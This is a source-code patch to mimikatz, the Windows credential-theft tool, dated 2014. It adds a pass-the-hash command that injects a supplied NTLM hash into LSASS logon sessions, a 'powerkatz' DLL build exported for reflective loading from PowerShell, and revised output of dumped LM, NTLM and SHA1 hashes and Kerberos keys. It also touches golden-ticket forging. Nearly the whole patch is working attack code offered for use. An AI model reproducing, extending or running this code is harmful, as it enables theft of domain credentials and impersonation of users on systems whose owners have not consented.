From fd667773cbc004dafd857fd77dc6a06fc8c6d33c Mon Sep 17 00:00:00 2001
From: Benjamin DELPY <benjamin@gentilkiwi.com>
Date: Mon, 5 May 2014 01:24:54 +0200
Subject: [PATCH] Pass-The-Hash enhancements, 'powerkatz', Kerberos keys better
 ouptut

---
 inc/globals.h                                 |   8 ++
 mimikatz.sln                                  |  12 ++
 mimikatz/mimikatz.c                           |  31 ++++-
 mimikatz/mimikatz.h                           |   6 +-
 mimikatz/mimikatz.vcxproj                     |  16 ++-
 mimikatz/modules/kerberos/kuhl_m_kerberos.c   |  16 +--
 .../modules/kerberos/kuhl_m_kerberos_ticket.c |  48 +++++++-
 .../modules/kerberos/kuhl_m_kerberos_ticket.h |   1 +
 mimikatz/modules/sekurlsa/globals_sekurlsa.h  |  10 +-
 mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c   | 107 +++++++++++++++---
 mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h   |   1 +
 .../packages/kuhl_m_sekurlsa_kerberos.c       |  50 ++++----
 .../packages/kuhl_m_sekurlsa_msv1_0.c         |  73 +-----------
 .../packages/kuhl_m_sekurlsa_msv1_0.h         |  17 +--
 .../sekurlsadbg/kuhl_m_sekurlsa_packages.h    |   4 +-
 mimilib/sekurlsadbg/kwindbg.c                 |  22 +++-
 modules/kull_m_output.c                       |  31 ++++-
 modules/kull_m_output.h                       |   4 +
 modules/kull_m_string.c                       |  15 +++
 modules/kull_m_string.h                       |   1 +
 20 files changed, 321 insertions(+), 152 deletions(-)

diff --git a/inc/globals.h b/inc/globals.h
index ba28920..024ae04 100644
--- a/inc/globals.h
+++ b/inc/globals.h
@@ -34,6 +34,14 @@
 #define MIMIKATZ_DRIVER			L"mimidrv"
 #define MIMIKATZ_KERBEROS_EXT	L"kirbi"
 
+#ifdef _WINDLL
+	#define MIMIKATZ_AUTO_COMMAND_START		0
+	#define MIMIKATZ_AUTO_COMMAND_STRING	L"powershell"
+#else
+	#define MIMIKATZ_AUTO_COMMAND_START		1
+	#define MIMIKATZ_AUTO_COMMAND_STRING	L"commandline"
+#endif
+
 #ifndef NT_SUCCESS
 #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
 #endif
diff --git a/mimikatz.sln b/mimikatz.sln
index cd85359..652052a 100644
--- a/mimikatz.sln
+++ b/mimikatz.sln
@@ -48,20 +48,32 @@ Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Release|Win32 = Release|Win32
 		Release|x64 = Release|x64
+		Second_Release_PowerShell|Win32 = Second_Release_PowerShell|Win32
+		Second_Release_PowerShell|x64 = Second_Release_PowerShell|x64
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
 		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.ActiveCfg = Release|Win32
 		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|Win32.Build.0 = Release|Win32
 		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.ActiveCfg = Release|x64
 		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Release|x64.Build.0 = Release|x64
+		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.ActiveCfg = Second_Release_PowerShell|Win32
+		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|Win32.Build.0 = Second_Release_PowerShell|Win32
+		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.ActiveCfg = Second_Release_PowerShell|x64
+		{FB9B5E61-7C34-4280-A211-E979E1D6977F}.Second_Release_PowerShell|x64.Build.0 = Second_Release_PowerShell|x64
+
 		{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.ActiveCfg = Release|Win32
 		{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|Win32.Build.0 = Release|Win32
 		{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.ActiveCfg = Release|x64
 		{E049487C-C5BD-471E-99AE-C756E70B6520}.Release|x64.Build.0 = Release|x64
+		{E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32
+		{E049487C-C5BD-471E-99AE-C756E70B6520}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64
+
 		{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.ActiveCfg = Release|Win32
 		{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|Win32.Build.0 = Release|Win32
 		{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.ActiveCfg = Release|x64
 		{86FF6D04-208C-442F-B27C-E4255DD39402}.Release|x64.Build.0 = Release|x64
+		{86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32
+		{86FF6D04-208C-442F-B27C-E4255DD39402}.Second_Release_PowerShell|x64.ActiveCfg = Release|x64
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
diff --git a/mimikatz/mimikatz.c b/mimikatz/mimikatz.c
index 529b71e..e84649f 100644
--- a/mimikatz/mimikatz.c
+++ b/mimikatz/mimikatz.c
@@ -27,14 +27,14 @@ const KUHL_M * mimikatz_modules[] = {
 int wmain(int argc, wchar_t * argv[])
 {
 	int i, status = STATUS_SUCCESS;
+#ifndef _WINDLL
 	wchar_t input[0xff];
-
 	_setmode(_fileno(stdout), _O_U8TEXT);
 	_setmode(_fileno(stderr), _O_U8TEXT);
 	SetConsoleOutputCP(CP_UTF8);
 	SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH);
 	SetConsoleCtrlHandler(HandlerRoutine, TRUE);
-
+#endif
 	kprintf(L"\n"
 		L"  .#####.   " MIMIKATZ_FULL L"\n"
 		L" .## ^ ##.  \n"
@@ -42,13 +42,14 @@ int wmain(int argc, wchar_t * argv[])
 		L" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
 		L" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n"
 		L"  '#####'                                    with %3u modules * * */\n\n", sizeof(mimikatz_modules) / sizeof(KUHL_M *));
-
+	
 	mimikatz_initOrClean(TRUE);
-	for(i = 1 ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
+	for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
 	{
-		kprintf(L"\n" MIMIKATZ L"(commandline) # %s\n", argv[i]);
+		kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
 		status = mimikatz_dispatchCommand(argv[i]);
 	}
+#ifndef _WINDLL
 	while (status != STATUS_FATAL_APP_EXIT)
 	{
 		kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
@@ -58,6 +59,7 @@ int wmain(int argc, wchar_t * argv[])
 			status = mimikatz_dispatchCommand(input);
 		}
 	}
+#endif
 	mimikatz_initOrClean(FALSE);
 	return STATUS_SUCCESS;
 }
@@ -185,4 +187,21 @@ NTSTATUS mimikatz_doLocal(wchar_t * input)
 		LocalFree(argv);
 	}
 	return status;
-}
\ No newline at end of file
+}
+
+#ifdef _WINDLL
+__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input)
+{
+	int argc = 0;
+	wchar_t ** argv;
+	
+	if(argv = CommandLineToArgvW(input, &argc))
+	{
+		outputBufferElements = 0xff;
+		if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements))
+			wmain(argc, argv);
+		LocalFree(argv);
+	}
+	return outputBuffer;
+}
+#endif
\ No newline at end of file
diff --git a/mimikatz/mimikatz.h b/mimikatz/mimikatz.h
index 033bf49..5bb3451 100644
--- a/mimikatz/mimikatz.h
+++ b/mimikatz/mimikatz.h
@@ -37,4 +37,8 @@ NTSTATUS mimikatz_initOrClean();
 
 NTSTATUS mimikatz_doLocal(wchar_t * input);
 /*NTSTATUS mimikatz_doRemote(wchar_t * input);*/
-NTSTATUS mimikatz_dispatchCommand(wchar_t * input);
\ No newline at end of file
+NTSTATUS mimikatz_dispatchCommand(wchar_t * input);
+
+#ifdef _WINDLL
+__declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPCWSTR input);
+#endif
\ No newline at end of file
diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj
index 4eadab1..5404290 100644
--- a/mimikatz/mimikatz.vcxproj
+++ b/mimikatz/mimikatz.vcxproj
@@ -9,6 +9,14 @@
       <Configuration>Release</Configuration>
       <Platform>x64</Platform>
     </ProjectConfiguration>
+    <ProjectConfiguration Include="Second_Release_PowerShell|Win32">
+      <Configuration>Second_Release_PowerShell</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Second_Release_PowerShell|x64">
+      <Configuration>Second_Release_PowerShell</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
   </ItemGroup>
   <PropertyGroup Label="Globals">
     <ProjectGuid>{FB9B5E61-7C34-4280-A211-E979E1D6977F}</ProjectGuid>
@@ -21,7 +29,8 @@
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
   <PropertyGroup Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
+    <ConfigurationType Condition="'$(Configuration)' != 'Second_Release_PowerShell'">Application</ConfigurationType>
+    <ConfigurationType Condition="'$(Configuration)' == 'Second_Release_PowerShell'">DynamicLibrary</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
     <WholeProgramOptimization>true</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
@@ -41,6 +50,7 @@
     <LinkIncremental>false</LinkIncremental>
     <IncludePath>$(SolutionDir)inc;$(IncludePath)</IncludePath>
     <LibraryPath>$(SolutionDir)lib\$(Platform);$(LibraryPath)</LibraryPath>
+    <TargetName Condition="'$(Configuration)' == 'Second_Release_PowerShell'">powerkatz</TargetName>
   </PropertyGroup>
   <ItemDefinitionGroup>
     <ClCompile>
@@ -174,10 +184,10 @@
     <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_tspkg.h" />
     <ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_wdigest.h" />
   </ItemGroup>
-  <ItemGroup>
+  <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'">
     <ResourceCompile Include="mimikatz.rc" />
   </ItemGroup>
-  <ItemGroup>
+  <ItemGroup Condition="'$(Configuration)' != 'Second_Release_PowerShell'">
     <None Include="mimikatz.ico" />
   </ItemGroup>
 </Project>
\ No newline at end of file
diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos.c b/mimikatz/modules/kerberos/kuhl_m_kerberos.c
index 33b96e0..0aa1f7d 100644
--- a/mimikatz/modules/kerberos/kuhl_m_kerberos.c
+++ b/mimikatz/modules/kerberos/kuhl_m_kerberos.c
@@ -169,7 +169,7 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
 		{
 			for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)
 			{
-				kprintf(L"\n[%08x] - %02x", i, pKerbCacheResponse->Tickets[i].EncryptionType);
+				kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType));
 				kprintf(L"\n   Start/End/MaxRenew: ");
 				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");
 				kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");
@@ -242,7 +242,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
 {
 	BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
 	DWORD i, j, nbGroups, id = 500;
-	PCWCHAR szUser, szDomain, szSid, szNtlm, szId, szGroups, base, filename;
+	PCWCHAR szUser, szDomain, szSid, szNTLM, szId, szGroups, base, filename;
 	PISID pSid;
 	PGROUP_MEMBERSHIP dynGroups = NULL, groups;
 	PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred;
@@ -257,7 +257,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
 			{
 				if(ConvertStringSidToSid(szSid, (PSID *) &pSid))
 				{
-					if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNtlm, NULL))
+					if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNTLM, NULL))
 					{
 						if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL))
 							id = wcstoul(szId, NULL, 0);
@@ -293,14 +293,8 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
 							groups = defaultGroups;
 							nbGroups = sizeof(defaultGroups) / sizeof(GROUP_MEMBERSHIP);
 						}
-																		
-						if(wcslen(szNtlm) == (LM_NTLM_HASH_LENGTH * 2))
+						if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))												
 						{
-							for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
-							{
-								swscanf_s(&szNtlm[i*2], L"%02x", &j);
-								ntlm[i] = (BYTE) j;
-							}
 							kprintf(
 								L"User      : %s\n"
 								L"Domain    : %s\n"
@@ -334,7 +328,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
 		}
 		else PRINT_ERROR(L"Missing domain argument\n");
 	}
-	else PRINT_ERROR(L"Missing admin argument\n");
+	else PRINT_ERROR(L"Missing user argument\n");
 
 	if(dynGroups)
 		LocalFree(groups);
diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c
index 0c46482..fae9cbf 100644
--- a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c
+++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c
@@ -19,18 +19,22 @@ void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTi
 		kprintf(L" ( %wZ )", &ticket->Description);
 	kprintf(L"\n\t   Flags %08x    : ", ticket->TicketFlags);
 	kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags);
-	kprintf(L"\n\t   Session Key  (%02x) : ", ticket->KeyType);
+	kprintf(L"\n\t   Session Key       : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType));
 	if(ticket->Key.Value)
-		kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 1);
-	kprintf(L"\n\t   Ticket  (%02x - %02x) : ", ticket->TicketKvno, ticket->TicketEncType);
+	{
+		kprintf(L"\n\t     ");
+		kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0);
+	}
+	kprintf(L"\n\t   Ticket            : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno);
 	
 	if(encodedTicketToo)
 	{
+		kprintf(L"\n\t     ");
 		if(ticket->Ticket.Value)
 			kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1);
 		else PRINT_ERROR_AUTO(L"NULL Ticket Value !");
 	}
-	else kprintf(L"[...]");
+	else kprintf(L"\t[...]");
 }
 
 const PCWCHAR TicketFlagsToStrings[] = {
@@ -63,6 +67,42 @@ void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTE
 		kprintf(L"@ %wZ", pDomain);
 }
 
+PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType)
+{
+	PCWCHAR type;
+	switch(eType)
+	{
+	case KERB_ETYPE_NULL:							type = L"null             "; break;
+
+	case KERB_ETYPE_DES_PLAIN:						type = L"des_plain        "; break;
+	case KERB_ETYPE_DES_CBC_CRC:					type = L"des_cbc_crc      "; break;
+	case KERB_ETYPE_DES_CBC_MD4:					type = L"des_cbc_md4      "; break;
+	case KERB_ETYPE_DES_CBC_MD5:					type = L"des_cbc_md5      "; break;
+	case KERB_ETYPE_DES_CBC_MD5_NT:					type = L"des_cbc_md5_nt   "; break;
+
+	case KERB_ETYPE_RC4_PLAIN:						type = L"rc4_plain        "; break;
+	case KERB_ETYPE_RC4_PLAIN2:						type = L"rc4_plain2       "; break;
+	case KERB_ETYPE_RC4_PLAIN_EXP:					type = L"rc4_plain_exp    "; break;
+	case KERB_ETYPE_RC4_LM:							type = L"rc4_lm           "; break;
+	case KERB_ETYPE_RC4_MD4:						type = L"rc4_md4          "; break;
+	case KERB_ETYPE_RC4_SHA:						type = L"rc4_sha          "; break;
+	case KERB_ETYPE_RC4_HMAC_NT:					type = L"rc4_hmac_nt      "; break;
+	case KERB_ETYPE_RC4_HMAC_NT_EXP:				type = L"rc4_hmac_nt_exp  "; break;
+	case KERB_ETYPE_RC4_PLAIN_OLD:					type = L"rc4_plain_old    "; break;
+	case KERB_ETYPE_RC4_PLAIN_OLD_EXP:				type = L"rc4_plain_old_exp"; break;
+	case KERB_ETYPE_RC4_HMAC_OLD:					type = L"rc4_hmac_old     "; break;
+	case KERB_ETYPE_RC4_HMAC_OLD_EXP:				type = L"rc4_hmac_old_exp "; break;
+
+	case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN:	type = L"aes128_hmac_plain"; break;
+	case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN:	type = L"aes256_hmac_plain"; break;
+	case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:		type = L"aes128_hmac      "; break;
+	case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:		type = L"aes256_hmac      "; break;
+
+	default:										type = L"unknow           "; break;
+	}
+	return type;
+}
+
 PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket)
 {
 	PDIRTY_ASN1_SEQUENCE_EASY App_Ticket, Seq_Ticket, Ctx_Ticket;
diff --git a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h
index 4d9a1d2..b69467d 100644
--- a/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h
+++ b/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.h
@@ -102,6 +102,7 @@ typedef struct _KIWI_KERBEROS_TICKET {
 void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo);
 void kuhl_m_kerberos_ticket_displayFlags(ULONG flags);
 void kuhl_m_kerberos_ticket_displayExternalName(IN LPCWSTR prefix, IN PKERB_EXTERNAL_NAME pExternalName, IN PUNICODE_STRING pDomain);
+PCWCHAR kuhl_m_kerberos_ticket_etype(LONG eType);
 
 PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppKrbCred(PKIWI_KERBEROS_TICKET ticket);
 PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_ticket_createAppTicket(PKIWI_KERBEROS_TICKET ticket);
diff --git a/mimikatz/modules/sekurlsa/globals_sekurlsa.h b/mimikatz/modules/sekurlsa/globals_sekurlsa.h
index 035f407..b28e9f3 100644
--- a/mimikatz/modules/sekurlsa/globals_sekurlsa.h
+++ b/mimikatz/modules/sekurlsa/globals_sekurlsa.h
@@ -89,4 +89,12 @@ typedef struct _KUHL_M_SEKURLSA_PACKAGE {
 	BOOL isValid;
 	const wchar_t * ModuleName;
 	KUHL_M_SEKURLSA_LIB Module;
-} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE;
\ No newline at end of file
+} KUHL_M_SEKURLSA_PACKAGE, *PKUHL_M_SEKURLSA_PACKAGE;
+
+typedef struct _SEKURLSA_PTH_DATA { 
+	PLUID		LogonId;
+	PCWCHAR		UserName;
+	PCWCHAR		LogonDomain;
+	LPBYTE		NtlmHash;
+	BOOL		isReplaceOk;
+} SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA;
\ No newline at end of file
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
index 13c5981..b12c6a2 100644
--- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
@@ -18,7 +18,7 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = {
 	{kuhl_m_sekurlsa_process,	L"process",			L"Switch (or reinit) to LSASS process  context"},
 	{kuhl_m_sekurlsa_minidump,	L"minidump",		L"Switch (or reinit) to LSASS minidump context"},
 
-	{kuhl_m_sekurlsa_msv_pth,			L"pth",		L"Pass-the-hash"},
+	{kuhl_m_sekurlsa_pth,		L"pth",				L"Pass-the-hash"},
 	{kuhl_m_sekurlsa_kerberos_tickets,	L"tickets",	L"List Kerberos tickets"},
 	{kuhl_m_sekurlsa_kerberos_keys,		L"ekeys",	L"List Kerberos Encryption Keys"},
 	{kuhl_m_sekurlsa_dpapi,				L"dpapi",	L"List Cached MasterKeys"},
@@ -420,6 +420,69 @@ NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPack
 	return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
 }
 
+NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
+{
+	BYTE ntlm[LM_NTLM_HASH_LENGTH];
+	TOKEN_STATISTICS tokenStats;
+	SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
+	PCWCHAR szRun, szNTLM;
+	DWORD dwNeededSize;
+	HANDLE hToken;
+	PROCESS_INFORMATION processInfos;
+
+	if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL))
+	{
+		if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL))
+		{
+			if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
+			{
+				if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))
+				{
+					kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
+					kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain);
+					kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
+					kprintf(L"Program\t: %s\n", szRun);
+					if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
+					{
+						kprintf(L"  |  PID  %u\n  |  TID  %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
+						if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
+						{
+							if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
+							{
+								kprintf(L"  |  LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
+								kprintf(L"  \\_ msv1_0   - ");
+								kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
+								kprintf(L"\n");
+								kprintf(L"  \\_ kerberos - ");
+								kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
+								kprintf(L"\n");
+							}
+							else PRINT_ERROR_AUTO(L"GetTokenInformation");
+							CloseHandle(hToken);
+						}
+						else PRINT_ERROR_AUTO(L"OpenProcessToken");
+						
+						if(data.isReplaceOk)
+							NtResumeProcess(processInfos.hProcess);
+						else
+							NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
+						
+						CloseHandle(processInfos.hThread);
+						CloseHandle(processInfos.hProcess);
+					}
+					else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
+				}
+				else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
+			}
+			else PRINT_ERROR(L"Missing argument : ntlm\n");
+		}
+		else PRINT_ERROR(L"Missing argument : domain\n");
+	}
+	else PRINT_ERROR(L"Missing argument : user\n");
+	
+	return STATUS_SUCCESS;
+}
+
 VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags)
 {
 	PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL;
@@ -445,16 +508,25 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
 				{
 				case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY:
 					pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer;
-
 					kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE);
 					kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE);
 
-					kprintf(L"\n\t * Username : %wZ"
-						L"\n\t * Domain   : %wZ"
-						, &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
-					kprintf(L"\n\t * LM       : "); kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
-					kprintf(L"\n\t * NTLM     : "); kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
-					kprintf(L"\n\t * SHA1     : "); kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
+					kprintf(L"\n\t * Username : %wZ\n\t * Domain   : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
+					if(pPrimaryCreds->isLmOwfPassword)
+					{
+						kprintf(L"\n\t * LM       : ");
+						kull_m_string_wprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
+					}
+					if(pPrimaryCreds->isNtOwfPassword)
+					{
+						kprintf(L"\n\t * NTLM     : ");
+						kull_m_string_wprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
+					}
+					if(pPrimaryCreds->isShaOwPassword)
+					{
+						kprintf(L"\n\t * SHA1     : ");
+						kull_m_string_wprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
+					}
 					break;
 				case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
 					pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer;
@@ -484,16 +556,19 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
 		else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_KEY_LIST)
 		{
 			pHashPassword = (PKERB_HASHPASSWORD_GENERIC) mesCreds;
-			kprintf(L"\t %4i : ", pHashPassword->Type);
-			buffer.Buffer = (PWSTR) pHashPassword->Checksump;
-			buffer.Length = buffer.MaximumLength = (USHORT) ((pHashPassword->Size) ? pHashPassword->Size : LM_NTLM_HASH_LENGTH); // will not use CDLocateCSystem, sorry!
-			if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem))
+			kprintf(L"\t%s : ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type));
+			if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size)
 			{
-				if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
-					(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
-				kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0);
-				LocalFree(buffer.Buffer);
+				buffer.Buffer = (PWSTR) pHashPassword->Checksump;
+				if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem))
+				{
+					if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
+						(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
+					kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0);
+					LocalFree(buffer.Buffer);
+				}
 			}
+			else kprintf(L"<no size, buffer is incorrect>");
 			kprintf(L"\n");
 		}
 		else
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
index 29f22ea..0422f83 100644
--- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
@@ -65,6 +65,7 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(struct _MARSHALL_KEY * key, PVOID * dirtyB
 
 NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_sekurlsa_strings(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]);
